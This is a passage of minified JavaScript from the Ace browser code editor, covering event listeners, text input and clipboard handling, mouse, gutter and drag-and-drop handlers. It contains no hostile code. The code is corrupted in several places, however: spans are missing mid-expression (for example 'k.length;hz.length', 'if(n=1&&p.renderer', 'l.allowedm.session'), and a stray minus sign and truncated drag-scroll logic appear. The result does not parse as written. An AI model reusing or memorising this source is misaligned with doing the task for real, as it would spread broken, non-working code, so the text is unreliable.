i=0;g.addListener=function(m,l,o){if(m.addEventListener){return m.addEventListener(l,o,false)}if(m.attachEvent){var n=function(){o.call(m,window.event)};o._wrapper=n;m.attachEvent("on"+l,n)}};g.removeListener=function(m,l,n){if(m.removeEventListener){return m.removeEventListener(l,n,false)}if(m.detachEvent){m.detachEvent("on"+l,n._wrapper||n)}};g.stopEvent=function(l){g.stopPropagation(l);g.preventDefault(l);return false};g.stopPropagation=function(l){if(l.stopPropagation){l.stopPropagation()}else{l.cancelBubble=true}};g.preventDefault=function(l){if(l.preventDefault){l.preventDefault()}else{l.returnValue=false}};g.getButton=function(l){if(l.type=="dblclick"){return 0}if(l.type=="contextmenu"||(e.isMac&&(l.ctrlKey&&!l.altKey&&!l.shiftKey))){return 2}if(l.preventDefault){return l.button}else{return{1:0,2:2,4:1}[l.button]}};g.capture=function(o,n,m){function l(p){n&&n(p);m&&m(p);g.removeListener(document,"mousemove",n,true);g.removeListener(document,"mouseup",l,true);g.removeListener(document,"dragstart",l,true)}g.addListener(document,"mousemove",n,true);g.addListener(document,"mouseup",l,true);g.addListener(document,"dragstart",l,true);return l};g.addTouchMoveListener=function(n,o){var m,l;g.addListener(n,"touchstart",function(r){var q=r.touches;var p=q[0];m=p.clientX;l=p.clientY});g.addListener(n,"touchmove",function(r){var q=r.touches;if(q.length>1){return}var p=q[0];r.wheelX=m-p.clientX;r.wheelY=l-p.clientY;m=p.clientX;l=p.clientY;o(r)})};g.addMouseWheelListener=function(l,m){if("onmousewheel" in l){g.addListener(l,"mousewheel",function(o){var n=8;if(o.wheelDeltaX!==undefined){o.wheelX=-o.wheelDeltaX/n;o.wheelY=-o.wheelDeltaY/n}else{o.wheelX=0;o.wheelY=-o.wheelDelta/n}m(o)})}else{if("onwheel" in l){g.addListener(l,"wheel",function(o){var n=0.35;switch(o.deltaMode){case o.DOM_DELTA_PIXEL:o.wheelX=o.deltaX*n||0;o.wheelY=o.deltaY*n||0;break;case o.DOM_DELTA_LINE:case o.DOM_DELTA_PAGE:o.wheelX=(o.deltaX||0)*5;o.wheelY=(o.deltaY||0)*5;break}m(o)})}else{g.addListener(l,"DOMMouseScroll",function(n){if(n.axis&&n.axis==n.HORIZONTAL_AXIS){n.wheelX=(n.detail||0)*5;n.wheelY=0}else{n.wheelX=0;n.wheelY=(n.detail||0)*5}m(n)})}}};g.addMultiMouseDownListener=function(l,m,q,u){var v=0;var t,s,n;var o={2:"dblclick",3:"tripleclick",4:"quadclick"};function r(x){if(g.getButton(x)!==0){v=0}else{if(x.detail>1){v++;if(v>4){v=1}}else{v=1}}if(e.isIE){var w=Math.abs(x.clientX-t)>5||Math.abs(x.clientY-s)>5;if(!n||w){v=1}if(n){clearTimeout(n)}n=setTimeout(function(){n=null},m[v-1]||600);if(v==1){t=x.clientX;s=x.clientY}}x._clicks=v;q[u]("mousedown",x);if(v>4){v=0}else{if(v>1){return q[u](o[v],x)}}}function p(w){v=2;if(n){clearTimeout(n)}n=setTimeout(function(){n=null},m[v-1]||600);q[u]("mousedown",w);q[u](o[v],w)}if(!Array.isArray(l)){l=[l]}l.forEach(function(w){g.addListener(w,"mousedown",r);if(e.isOldIE){g.addListener(w,"dblclick",p)}})};var c=e.isMac&&e.isOpera&&!("KeyboardEvent" in window)?function(l){return 0|(l.metaKey?1:0)|(l.altKey?2:0)|(l.shiftKey?4:0)|(l.ctrlKey?8:0)}:function(l){return 0|(l.ctrlKey?1:0)|(l.altKey?2:0)|(l.shiftKey?4:0)|(l.metaKey?8:0)};g.getModifierString=function(l){return k.KEY_MODS[c(l)]};function j(q,p,o){var n=c(p);if(!e.isMac&&h){if(p.getModifierState&&(p.getModifierState("OS")||p.getModifierState("Win"))){n|=8}if(h.altGr){if((3&n)!=3){h.altGr=0}else{return}}if(o===18||o===17){var l="location" in p?p.location:p.keyLocation;if(o===17&&l===1){if(h[o]==1){i=p.timeStamp}}else{if(o===18&&n===3&&l===2){var m=p.timeStamp-i;if(m<50){h.altGr=true}}}}}if(o in k.MODIFIER_KEYS){o=-1}if(n&8&&(o>=91&&o<=93)){o=-1}if(!n&&o===13){var l="location" in p?p.location:p.keyLocation;if(l===3){q(p,n,-o);if(p.defaultPrevented){return}}}if(e.isChromeOS&&n&8){q(p,n,o);if(p.defaultPrevented){return}else{n&=~8}}if(!n&&!(o in k.FUNCTION_KEYS)&&!(o in k.PRINTABLE_KEYS)){return false}return q(p,n,o)}g.addCommandKeyListener=function(n,p){var m=g.addListener;if(e.isOldGecko||(e.isOpera&&!("KeyboardEvent" in window))){var o=null;m(n,"keydown",function(q){o=q.keyCode});m(n,"keypress",function(q){return j(p,q,o)})}else{var l=null;m(n,"keydown",function(r){h[r.keyCode]=(h[r.keyCode]||0)+1;var q=j(p,r,r.keyCode);l=r.defaultPrevented;return q});m(n,"keypress",function(q){if(l&&(q.ctrlKey||q.altKey||q.shiftKey||q.metaKey)){g.stopEvent(q);l=null}});m(n,"keyup",function(q){h[q.keyCode]=null});if(!h){a();m(window,"focus",a)}}};function a(){h=Object.create(null)}if(typeof window=="object"&&window.postMessage&&!e.isOldIE){var b=1;g.nextTick=function(o,n){n=n||window;var l="zero-timeout-message-"+b;g.addListener(n,"message",function m(p){if(p.data==l){g.stopPropagation(p);g.removeListener(n,"message",m);o()}});n.postMessage(l,"*")}}g.nextFrame=typeof window=="object"&&(window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||window.msRequestAnimationFrame||window.oRequestAnimationFrame);if(g.nextFrame){g.nextFrame=g.nextFrame.bind(window)}else{g.nextFrame=function(l){setTimeout(l,17)}}});ace.define("ace/lib/lang",["require","exports","module"],function(c,a,d){a.last=function(g){return g[g.length-1]};a.stringReverse=function(g){return g.split("").reverse().join("")};a.stringRepeat=function(h,i){var g="";while(i>0){if(i&1){g+=h}if(i>>=1){h+=h}}return g};var e=/^\s\s*/;var f=/\s\s*$/;a.stringTrimLeft=function(g){return g.replace(e,"")};a.stringTrimRight=function(g){return g.replace(f,"")};a.copyObject=function(h){var i={};for(var g in h){i[g]=h[g]}return i};a.copyArray=function(k){var j=[];for(var h=0,g=k.length;hz.length){Y=Y.substr(9)}else{if(Y.substr(0,4)==z.substr(0,4)){Y=Y.substr(4,Y.length-z.length+1)}else{if(Y.charAt(Y.length-1)==z.charAt(0)){Y=Y.slice(0,-1)}}}if(Y==z.charAt(0)){}else{if(Y.charAt(Y.length-1)==z.charAt(0)){Y=Y.slice(0,-1)}}if(Y){r.onTextInput(Y)}}}}if(G){G=false}if(U){U=false}};var R=function(Z){if(A){return}var Y=I.value;p(Y);B()};var x=function(ab,aa,Y){var ac=ab.clipboardData||window.clipboardData;if(!ac||f){return}var Z=i||Y?"Text":"text/plain";try{if(aa){return ac.setData(Z,aa)!==false}else{return ac.getData(Z)}}catch(ab){if(!Y){return x(ab,aa,true)}}};var q=function(aa,Y){var Z=r.getCopyText();if(!Z){return a.preventDefault(aa)}if(x(aa,Z)){if(d.isIOS){s=Y;I.value="\n aa"+Z+"a a\n";I.setSelectionRange(4,4+Z.length);G={value:Z}}Y?r.onCut():r.onCopy();if(!d.isIOS){a.preventDefault(aa)}}else{G=true;I.value=Z;I.select();setTimeout(function(){G=false;B();O();Y?r.onCut():r.onCopy()})}};var M=function(Y){q(Y,true)};var m=function(Y){q(Y,false)};var N=function(Z){var Y=x(Z);if(typeof Y=="string"){if(Y){r.onPaste(Y,Z)}if(d.isIE){setTimeout(O)}a.preventDefault(Z)}else{I.value="";n=true}};a.addCommandKeyListener(I,r.onCommandKey.bind(r));a.addListener(I,"select",w);a.addListener(I,"input",R);a.addListener(I,"cut",M);a.addListener(I,"copy",m);a.addListener(I,"paste",N);var C=function(Y){if(A||!r.onCompositionStart||r.$readOnly){return}A={};A.canUndo=r.session.$undoManager;r.onCompositionStart();setTimeout(K,0);r.on("mousedown",Q);if(A.canUndo&&!r.selection.isEmpty()){r.insert("");r.session.markUndoGroup();r.selection.clearSelection()}r.session.markUndoGroup()};var K=function(){if(!A||!r.onCompositionUpdate||r.$readOnly){return}var Z=I.value.replace(/\x01/g,"");if(A.lastValue===Z){return}r.onCompositionUpdate(Z);if(A.lastValue){r.undo()}if(A.canUndo){A.lastValue=Z}if(A.lastValue){var Y=r.selection.getRange();r.insert(A.lastValue);r.session.markUndoGroup();A.range=r.selection.getRange();r.selection.setRange(Y);r.selection.clearSelection()}};var Q=function(aa){if(!r.onCompositionEnd||r.$readOnly){return}var ac=A;A=false;var ab=setTimeout(function(){ab=null;var ad=I.value.replace(/\x01/g,"");if(A){return}else{if(ad==ac.lastValue){B()}else{if(!ac.lastValue&&ad){B();p(ad)}}}});y=function Z(ad){if(ab){clearTimeout(ab)}ad=ad.replace(/\x01/g,"");if(ad==ac.lastValue){return""}if(ac.lastValue&&ab){r.undo()}return ad};r.onCompositionEnd();r.removeListener("mousedown",Q);if(aa.type=="compositionend"&&ac.range){r.selection.setRange(ac.range)}var Y=(!!d.isChrome&&d.isChrome>=53)||(!!d.isWebKit&&d.isWebKit>=603);if(Y){R()}};var H=b.delayedCall(K,50);a.addListener(I,"compositionstart",C);if(d.isGecko){a.addListener(I,"text",function(){H.schedule()})}else{a.addListener(I,"keyup",function(){H.schedule()});a.addListener(I,"keydown",function(){H.schedule()})}a.addListener(I,"compositionend",Q);this.getElement=function(){return I};this.setReadOnly=function(Y){I.readOnly=Y};this.onContextMenu=function(Y){U=true;O(r.selection.isEmpty());r._emit("nativecontextmenu",{target:r,domEvent:Y});this.moveToMouse(Y,true)};this.moveToMouse=function(ae,aa){if(!W){W=I.style.cssText}I.style.cssText=(aa?"z-index:100000;":"")+"height:"+I.style.height+";"+(d.isIE?"opacity:0.1;":"");var ab=r.container.getBoundingClientRect();var Z=g.computedStyle(r.container);var ad=ab.top+(parseInt(Z.borderTopWidth)||0);var ac=ab.left+(parseInt(ab.borderLeftWidth)||0);var af=ab.bottom-ad-I.clientHeight-2;var Y=function(ag){I.style.left=ag.clientX-ac-2+"px";I.style.top=Math.min(ag.clientY-ad-2,af)+"px"};Y(ae);if(ae.type!="mousedown"){return}if(r.renderer.$keepTextAreaAtCursor){r.renderer.$keepTextAreaAtCursor=null}clearTimeout(u);if(d.isWin){a.capture(r.container,Y,X)}};this.onContextMenuClose=X;var u;function X(){clearTimeout(u);u=setTimeout(function(){if(W){I.style.cssText=W;W=""}if(r.renderer.$keepTextAreaAtCursor==null){r.renderer.$keepTextAreaAtCursor=true;r.renderer.$moveTextAreaToCursor()}},0)}var J=function(Y){r.textInput.onContextMenu(Y);X()};a.addListener(I,"mouseup",J);a.addListener(I,"mousedown",function(Y){Y.preventDefault();X()});a.addListener(r.renderer.scroller,"contextmenu",J);a.addListener(I,"contextmenu",J);if(d.isIOS){var F=null;var L=false;v.addEventListener("keydown",function(Y){if(F){clearTimeout(F)}L=true});v.addEventListener("keyup",function(Y){F=setTimeout(function(){L=false},100)});var T=function(aa){if(document.activeElement!==I){return}if(L){return}if(s){return setTimeout(function(){s=false},100)}var Y=I.selectionStart;var Z=I.selectionEnd;I.setSelectionRange(4,5);if(Y==Z){switch(Y){case 0:r.onCommandKey(null,0,l.up);break;case 1:r.onCommandKey(null,0,l.home);break;case 2:r.onCommandKey(null,k.option,l.left);break;case 4:r.onCommandKey(null,0,l.left);break;case 5:r.onCommandKey(null,0,l.right);break;case 7:r.onCommandKey(null,k.option,l.right);break;case 8:r.onCommandKey(null,0,l.end);break;case 9:r.onCommandKey(null,0,l.down);break}}else{switch(Z){case 6:r.onCommandKey(null,k.shift,l.right);break;case 7:r.onCommandKey(null,k.shift|k.option,l.right);break;case 8:r.onCommandKey(null,k.shift,l.end);break;case 9:r.onCommandKey(null,k.shift,l.down);break}switch(Y){case 0:r.onCommandKey(null,k.shift,l.up);break;case 1:r.onCommandKey(null,k.shift,l.home);break;case 2:r.onCommandKey(null,k.shift|k.option,l.left);break;case 3:r.onCommandKey(null,k.shift,l.left);break}}};document.addEventListener("selectionchange",T);r.on("destroy",function(){document.removeEventListener("selectionchange",T)})}};h.TextInput=j});ace.define("ace/keyboard/textinput",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/lib/dom","ace/lib/lang","ace/keyboard/textinput_ios"],function(e,h,c){var a=e("../lib/event");var d=e("../lib/useragent");var f=e("../lib/dom");var b=e("../lib/lang");var g=d.isChrome<18;var i=d.isIE;var k=e("./textinput_ios").TextInput;var j=function(z,J){if(d.isIOS){return k.call(this,z,J)}var F=f.createElement("textarea");F.className="ace_text-input";F.setAttribute("wrap","off");F.setAttribute("autocorrect","off");F.setAttribute("autocapitalize","off");F.setAttribute("spellcheck",false);F.style.opacity="0";z.insertBefore(F,z.firstChild);var m="\u2028\u2028";var K=false;var r=false;var o=false;var R="";var p=true;try{var A=document.activeElement===F}catch(N){}a.addListener(F,"blur",function(S){J.onBlur(S);A=false});a.addListener(F,"focus",function(S){A=true;J.onFocus(S);y()});this.focus=function(){if(R){return F.focus()}var S=F.style.top;F.style.position="fixed";F.style.top="0px";F.focus();setTimeout(function(){F.style.position="";if(F.style.top=="0px"){F.style.top=S}},0)};this.blur=function(){F.blur()};this.isFocused=function(){return A};var x=b.delayedCall(function(){A&&y(p)});var q=b.delayedCall(function(){if(!o){F.value=m;A&&y()}});function y(V){if(o){return}o=true;if(w){var S=0;var U=V?0:F.value.length-1}else{var S=V?2:1;var U=2}try{F.setSelectionRange(S,U)}catch(T){}o=false}function u(){if(o){return}F.value=m;if(d.isWebKit){q.schedule()}}d.isWebKit||J.addEventListener("changeSelection",function(){if(J.selection.isEmpty()!=p){p=!p;x.schedule()}});u();if(A){J.onFocus()}var G=function(S){return S.selectionStart===0&&S.selectionEnd===S.value.length};var Q=function(S){if(K){K=false}else{if(G(F)){if(F.value==m){return}J.selectAll();y()}else{if(w){y(J.selection.isEmpty())}}}};var w=null;this.setInputHandler=function(S){w=S};this.getInputHandler=function(){return w};var v=false;var P=function(S){if(w){S=w(S);w=null}if(r){y();if(S){J.onPaste(S)}r=false}else{if(S==m.charAt(0)){if(v){J.execCommand("del",{source:"ace"})}else{J.execCommand("backspace",{source:"ace"})}}else{if(S.substring(0,2)==m){S=S.substr(2)}else{if(S.charAt(0)==m.charAt(0)){S=S.substr(1)}else{if(S.charAt(S.length-1)==m.charAt(0)){S=S.slice(0,-1)}}}if(S.charAt(S.length-1)==m.charAt(0)){S=S.slice(0,-1)}if(S){J.onTextInput(S)}}}if(v){v=false}};var l=function(T){if(o){return}var S=F.value;P(S);u()};var D=function(V,U,S){var W=V.clipboardData||window.clipboardData;if(!W||g){return}var T=i||S?"Text":"text/plain";try{if(U){return W.setData(T,U)!==false}else{return W.getData(T)}}catch(V){if(!S){return D(V,U,true)}}};var L=function(U,S){var T=J.getCopyText();if(!T){return a.preventDefault(U)}if(D(U,T)){S?J.onCut():J.onCopy();a.preventDefault(U)}else{K=true;F.value=T;F.select();setTimeout(function(){K=false;u();y();S?J.onCut():J.onCopy()})}};var t=function(S){L(S,true)};var B=function(S){L(S,false)};var n=function(T){var S=D(T);if(typeof S=="string"){if(S){J.onPaste(S,T)}if(d.isIE){setTimeout(y)}a.preventDefault(T)}else{F.value="";r=true}};a.addCommandKeyListener(F,J.onCommandKey.bind(J));a.addListener(F,"select",Q);a.addListener(F,"input",l);a.addListener(F,"cut",t);a.addListener(F,"copy",B);a.addListener(F,"paste",n);if(!("oncut" in F)||!("oncopy" in F)||!("onpaste" in F)){a.addListener(z,"keydown",function(S){if((d.isMac&&!S.metaKey)||!S.ctrlKey){return}switch(S.keyCode){case 67:B(S);break;case 86:n(S);break;case 88:t(S);break}})}var H=function(S){if(o||!J.onCompositionStart||J.$readOnly){return}o={};o.canUndo=J.session.$undoManager;J.onCompositionStart();setTimeout(O,0);J.on("mousedown",s);if(o.canUndo&&!J.selection.isEmpty()){J.insert("");J.session.markUndoGroup();J.selection.clearSelection()}J.session.markUndoGroup()};var O=function(){if(!o||!J.onCompositionUpdate||J.$readOnly){return}var T=F.value.replace(/\u2028/g,"");if(o.lastValue===T){return}J.onCompositionUpdate(T);if(o.lastValue){J.undo()}if(o.canUndo){o.lastValue=T}if(o.lastValue){var S=J.selection.getRange();J.insert(o.lastValue);J.session.markUndoGroup();o.range=J.selection.getRange();J.selection.setRange(S);J.selection.clearSelection()}};var s=function(U){if(!J.onCompositionEnd||J.$readOnly){return}var W=o;o=false;var V=setTimeout(function(){V=null;var X=F.value.replace(/\u2028/g,"");if(o){return}else{if(X==W.lastValue){u()}else{if(!W.lastValue&&X){u();P(X)}}}});w=function T(X){if(V){clearTimeout(V)}X=X.replace(/\u2028/g,"");if(X==W.lastValue){return""}if(W.lastValue&&V){J.undo()}return X};J.onCompositionEnd();J.removeListener("mousedown",s);if(U.type=="compositionend"&&W.range){J.selection.setRange(W.range)}var S=(!!d.isChrome&&d.isChrome>=53)||(!!d.isWebKit&&d.isWebKit>=603);if(S){l()}};var I=b.delayedCall(O,50);a.addListener(F,"compositionstart",H);if(d.isGecko){a.addListener(F,"text",function(){I.schedule()})}else{a.addListener(F,"keyup",function(){I.schedule()});a.addListener(F,"keydown",function(){I.schedule()})}a.addListener(F,"compositionend",s);this.getElement=function(){return F};this.setReadOnly=function(S){F.readOnly=S};this.onContextMenu=function(S){v=true;y(J.selection.isEmpty());J._emit("nativecontextmenu",{target:J,domEvent:S});this.moveToMouse(S,true)};this.moveToMouse=function(Y,U){if(!R){R=F.style.cssText}F.style.cssText=(U?"z-index:100000;":"")+"height:"+F.style.height+";"+(d.isIE?"opacity:0.1;":"");var V=J.container.getBoundingClientRect();var T=f.computedStyle(J.container);var X=V.top+(parseInt(T.borderTopWidth)||0);var W=V.left+(parseInt(V.borderLeftWidth)||0);var Z=V.bottom-X-F.clientHeight-2;var S=function(aa){F.style.left=aa.clientX-W-2+"px";F.style.top=Math.min(aa.clientY-X-2,Z)+"px"};S(Y);if(Y.type!="mousedown"){return}if(J.renderer.$keepTextAreaAtCursor){J.renderer.$keepTextAreaAtCursor=null}clearTimeout(C);if(d.isWin){a.capture(J.container,S,E)}};this.onContextMenuClose=E;var C;function E(){clearTimeout(C);C=setTimeout(function(){if(R){F.style.cssText=R;R=""}if(J.renderer.$keepTextAreaAtCursor==null){J.renderer.$keepTextAreaAtCursor=true;J.renderer.$moveTextAreaToCursor()}},0)}var M=function(S){J.textInput.onContextMenu(S);E()};a.addListener(F,"mouseup",M);a.addListener(F,"mousedown",function(S){S.preventDefault();E()});a.addListener(J.renderer.scroller,"contextmenu",M);a.addListener(F,"contextmenu",M)};h.TextInput=j});ace.define("ace/mouse/default_handlers",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"],function(f,h,d){var g=f("../lib/dom");var b=f("../lib/event");var e=f("../lib/useragent");var k=0;var a=250;function j(n){n.$clickSelection=null;var m=n.editor;m.setDefaultHandler("mousedown",this.onMouseDown.bind(n));m.setDefaultHandler("dblclick",this.onDoubleClick.bind(n));m.setDefaultHandler("tripleclick",this.onTripleClick.bind(n));m.setDefaultHandler("quadclick",this.onQuadClick.bind(n));m.setDefaultHandler("mousewheel",this.onMouseWheel.bind(n));m.setDefaultHandler("touchmove",this.onTouchMove.bind(n));var l=["select","startSelect","selectEnd","selectAllEnd","selectByWordsEnd","selectByLinesEnd","dragWait","dragWaitEnd","focusWait"];l.forEach(function(o){n[o]=this[o]},this);n.selectByLines=this.extendSelectionBy.bind(n,"getLineRange");n.selectByWords=this.extendSelectionBy.bind(n,"getWordRange")}(function(){this.onMouseDown=function(p){var n=p.inSelection();var r=p.getDocumentPosition();this.mousedownEvent=p;var o=this.editor;var m=p.getButton();if(m!==0){var q=o.getSelectionRange();var l=q.isEmpty();o.$blockScrolling++;if(l||m==1){o.selection.moveToPosition(r)}o.$blockScrolling--;if(m==2){o.textInput.onContextMenu(p.domEvent);if(!e.isMozilla){p.preventDefault()}}return}this.mousedownEvent.time=Date.now();if(n&&!o.isFocused()){o.focus();if(this.$focusTimout&&!this.$clickSelection&&!o.inMultiSelectMode){this.setState("focusWait");this.captureMouse(p);return}}this.captureMouse(p);this.startSelect(r,p.domEvent._clicks>1);return p.preventDefault()};this.startSelect=function(n,l){n=n||this.editor.renderer.screenToTextCoordinates(this.x,this.y);var m=this.editor;m.$blockScrolling++;if(this.mousedownEvent.getShiftKey()){m.selection.selectToPosition(n)}else{if(!l){m.selection.moveToPosition(n)}}if(!l){this.select()}if(m.renderer.scroller.setCapture){m.renderer.scroller.setCapture()}m.setStyle("ace_selecting");this.setState("select");m.$blockScrolling--};this.select=function(){var l,m=this.editor;var p=m.renderer.screenToTextCoordinates(this.x,this.y);m.$blockScrolling++;if(this.$clickSelection){var n=this.$clickSelection.comparePoint(p);if(n==-1){l=this.$clickSelection.end}else{if(n==1){l=this.$clickSelection.start}else{var o=i(this.$clickSelection,p);p=o.cursor;l=o.anchor}}m.selection.setSelectionAnchor(l.row,l.column)}m.selection.selectToPosition(p);m.$blockScrolling--;m.renderer.scrollCursorIntoView()};this.extendSelectionBy=function(m){var o,p=this.editor;var s=p.renderer.screenToTextCoordinates(this.x,this.y);var n=p.selection[m](s.row,s.column);p.$blockScrolling++;if(this.$clickSelection){var l=this.$clickSelection.comparePoint(n.start);var r=this.$clickSelection.comparePoint(n.end);if(l==-1&&r<=0){o=this.$clickSelection.end;if(n.end.row!=s.row||n.end.column!=s.column){s=n.start}}else{if(r==1&&l>=0){o=this.$clickSelection.start;if(n.start.row!=s.row||n.start.column!=s.column){s=n.end}}else{if(l==-1&&r==1){s=n.end;o=n.start}else{var q=i(this.$clickSelection,s);s=q.cursor;o=q.anchor}}}p.selection.setSelectionAnchor(o.row,o.column)}p.selection.selectToPosition(s);p.$blockScrolling--;p.renderer.scrollCursorIntoView()};this.selectEnd=this.selectAllEnd=this.selectByWordsEnd=this.selectByLinesEnd=function(){this.$clickSelection=null;this.editor.unsetStyle("ace_selecting");if(this.editor.renderer.scroller.releaseCapture){this.editor.renderer.scroller.releaseCapture()}};this.focusWait=function(){var m=c(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);var l=Date.now();if(m>k||l-this.mousedownEvent.time>this.$focusTimout){this.startSelect(this.mousedownEvent.getDocumentPosition())}};this.onDoubleClick=function(n){var p=n.getDocumentPosition();var m=this.editor;var o=m.session;var l=o.getBracketRange(p);if(l){if(l.isEmpty()){l.start.column--;l.end.column++}this.setState("select")}else{l=m.selection.getWordRange(p.row,p.column);this.setState("selectByWords")}this.$clickSelection=l;this.select()};this.onTripleClick=function(n){var o=n.getDocumentPosition();var m=this.editor;this.setState("selectByLines");var l=m.getSelectionRange();if(l.isMultiLine()&&l.contains(o.row,o.column)){this.$clickSelection=m.selection.getLineRange(l.start.row);this.$clickSelection.end=m.selection.getLineRange(l.end.row).end}else{this.$clickSelection=m.selection.getLineRange(o.row)}this.select()};this.onQuadClick=function(m){var l=this.editor;l.selectAll();this.$clickSelection=l.getSelectionRange();this.setState("selectAll")};this.onMouseWheel=function(r){if(r.getAccelKey()){return}if(r.getShiftKey()&&r.wheelY&&!r.wheelX){r.wheelX=r.wheelY;r.wheelY=0}var p=this.editor;if(!this.$lastScroll){this.$lastScroll={t:0,vx:0,vy:0,allowed:0}}var l=this.$lastScroll;var v=r.domEvent.timeStamp;var n=v-l.t;var s=r.wheelX/n;var q=r.wheelY/n;if(n=1&&p.renderer.isScrollableBy(r.wheelX*r.speed,0)){m=true}if(u<=1&&p.renderer.isScrollableBy(0,r.wheelY*r.speed)){m=true}if(m){l.allowed=v}else{if(v-l.allowedm.session.documentToScreenRow(z.row,z.column)){return o()}}if(l==t){return}l=t.text.join("
          ");s.setHtml(l);s.show();m._signal("showGutterTooltip",s);m.on("mousewheel",o);if(p.$tooltipFollowsMouse){n(j)}else{var u=j.domEvent.target;var x=u.getBoundingClientRect();var w=s.getElement().style;w.left=x.right+"px";w.top=x.bottom+"px"}}function o(){if(r){r=clearTimeout(r)}if(l){s.hide();l=null;m._signal("hideGutterTooltip",s); -m.removeEventListener("mousewheel",o)}}function n(t){s.setPosition(t.x,t.y)}p.editor.setDefaultHandler("guttermousemove",function(u){var t=u.domEvent.target||u.domEvent.srcElement;if(f.hasCssClass(t,"ace_fold-widget")){return o()}if(l&&p.$tooltipFollowsMouse){n(u)}j=u;if(r){return}r=setTimeout(function(){r=null;if(j&&!p.isMousePressed){q()}else{o()}},50)});a.addListener(m.renderer.$gutter,"mouseout",function(t){j=null;if(!l||r){return}r=setTimeout(function(){r=null;o()},50)});m.on("changeSession",o)}function c(j){i.call(this,j)}h.inherits(c,i);(function(){this.setPosition=function(k,o){var l=window.innerWidth||document.documentElement.clientWidth;var n=window.innerHeight||document.documentElement.clientHeight;var m=this.getWidth();var j=this.getHeight();k+=15;o+=15;if(k+m>l){k-=(k+m)-l}if(o+j>n){o-=20+j}i.prototype.setPosition.call(this,k,o)}}).call(c.prototype);g.GutterHandler=b});ace.define("ace/mouse/mouse_event",["require","exports","module","ace/lib/event","ace/lib/useragent"],function(c,b,d){var f=c("../lib/event");var a=c("../lib/useragent");var e=b.MouseEvent=function(h,g){this.domEvent=h;this.editor=g;this.x=this.clientX=h.clientX;this.y=this.clientY=h.clientY;this.$pos=null;this.$inSelection=null;this.propagationStopped=false;this.defaultPrevented=false};(function(){this.stopPropagation=function(){f.stopPropagation(this.domEvent);this.propagationStopped=true};this.preventDefault=function(){f.preventDefault(this.domEvent);this.defaultPrevented=true};this.stop=function(){this.stopPropagation();this.preventDefault()};this.getDocumentPosition=function(){if(this.$pos){return this.$pos}this.$pos=this.editor.renderer.screenToTextCoordinates(this.clientX,this.clientY);return this.$pos};this.inSelection=function(){if(this.$inSelection!==null){return this.$inSelection}var g=this.editor;var i=g.getSelectionRange();if(i.isEmpty()){this.$inSelection=false}else{var h=this.getDocumentPosition();this.$inSelection=i.contains(h.row,h.column)}return this.$inSelection};this.getButton=function(){return f.getButton(this.domEvent)};this.getShiftKey=function(){return this.domEvent.shiftKey};this.getAccelKey=a.isMac?function(){return this.domEvent.metaKey}:function(){return this.domEvent.ctrlKey}}).call(e.prototype)});ace.define("ace/mouse/dragdrop_handler",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"],function(e,g,c){var f=e("../lib/dom");var a=e("../lib/event");var d=e("../lib/useragent");var j=200;var h=200;var k=5;function i(t){var r=t.editor;var L=f.createElement("img");L.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";if(d.isOpera){L.style.cssText="width:1px;height:1px;position:fixed;top:0;left:0;z-index:2147483647;opacity:0;"}var M=["dragWait","dragWaitEnd","startDrag","dragReadyEnd","onMouseDrag"];M.forEach(function(y){t[y]=this[y]},this);r.addEventListener("mousedown",this.onMouseDown.bind(t));var z=r.container;var J,B,w;var C,F;var p,A=0;var q;var K;var G;var u;var D;this.onDragStart=function(N){if(this.cancelDrag||!z.draggable){var x=this;setTimeout(function(){x.startSelect();x.captureMouse(N)},0);return N.preventDefault()}F=r.getSelectionRange();var y=N.dataTransfer;y.effectAllowed=r.getReadOnly()?"copy":"copyMove";if(d.isOpera){r.container.appendChild(L);L.scrollTop=0}y.setDragImage&&y.setDragImage(L,0,0);if(d.isOpera){r.container.removeChild(L)}y.clearData();y.setData("Text",r.session.getTextRange());K=true;this.setState("drag")};this.onDragEnd=function(y){z.draggable=false;K=false;this.setState(null);if(!r.getReadOnly()){var x=y.dataTransfer.dropEffect;if(!q&&x=="move"){r.session.remove(r.getSelectionRange())}r.renderer.$cursorLayer.setBlinking(true)}this.editor.unsetStyle("ace_dragging");this.editor.renderer.setCursorStyle("")};this.onDragEnter=function(x){if(r.getReadOnly()||!n(x.dataTransfer)){return}B=x.clientX;w=x.clientY;if(!J){v()}A++;x.dataTransfer.dropEffect=q=H(x);return a.preventDefault(x)};this.onDragOver=function(x){if(r.getReadOnly()||!n(x.dataTransfer)){return}B=x.clientX;w=x.clientY;if(!J){v();A++}if(l!==null){l=null}x.dataTransfer.dropEffect=q=H(x);return a.preventDefault(x)};this.onDragLeave=function(x){A--;if(A<=0&&J){o();q=null;return a.preventDefault(x)}};this.onDrop=function(N){if(!p){return}var y=N.dataTransfer;if(K){switch(q){case"move":if(F.contains(p.row,p.column)){F={start:p,end:p}}else{F=r.moveText(F,p)}break;case"copy":F=r.moveText(F,p,true);break}}else{var x=y.getData("Text");F={start:p,end:r.session.insert(p,x)};r.focus();q=null}o();return a.preventDefault(N)};a.addListener(z,"dragstart",this.onDragStart.bind(t));a.addListener(z,"dragend",this.onDragEnd.bind(t));a.addListener(z,"dragenter",this.onDragEnter.bind(t));a.addListener(z,"dragover",this.onDragOver.bind(t));a.addListener(z,"dragleave",this.onDragLeave.bind(t));a.addListener(z,"drop",this.onDrop.bind(t));function I(O,N){var y=Date.now();var x=!N||O.row!=N.row;var Q=!N||O.column!=N.column;if(!u||x||Q){r.$blockScrolling+=1;r.moveCursorToPosition(O);r.$blockScrolling-=1;u=y;D={x:B,y:w}}else{var P=b(D.x,D.y,B,w);if(P>k){u=null}else{if(y-u>=h){r.renderer.scrollCursorIntoView();u=null}}}}function s(W,Q){var N=Date.now();var U=r.renderer.layerConfig.lineHeight;var y=r.renderer.layerConfig.characterWidth;var O=r.renderer.scroller.getBoundingClientRect();var R={x:{left:B-O.left,right:O.right-B},y:{top:w-O.top,bottom:O.bottom-w}};var T=Math.min(R.x.left,R.x.right);var P=Math.min(R.y.top,R.y.bottom);var X={row:W.row,column:W.column};if(T/y<=2){X.column+=(R.x.left=j){r.renderer.scrollCursorIntoView(X)}}}else{G=null}}function m(){var x=p;p=r.renderer.screenToTextCoordinates(B,w);I(p,x);s(p,x)}function 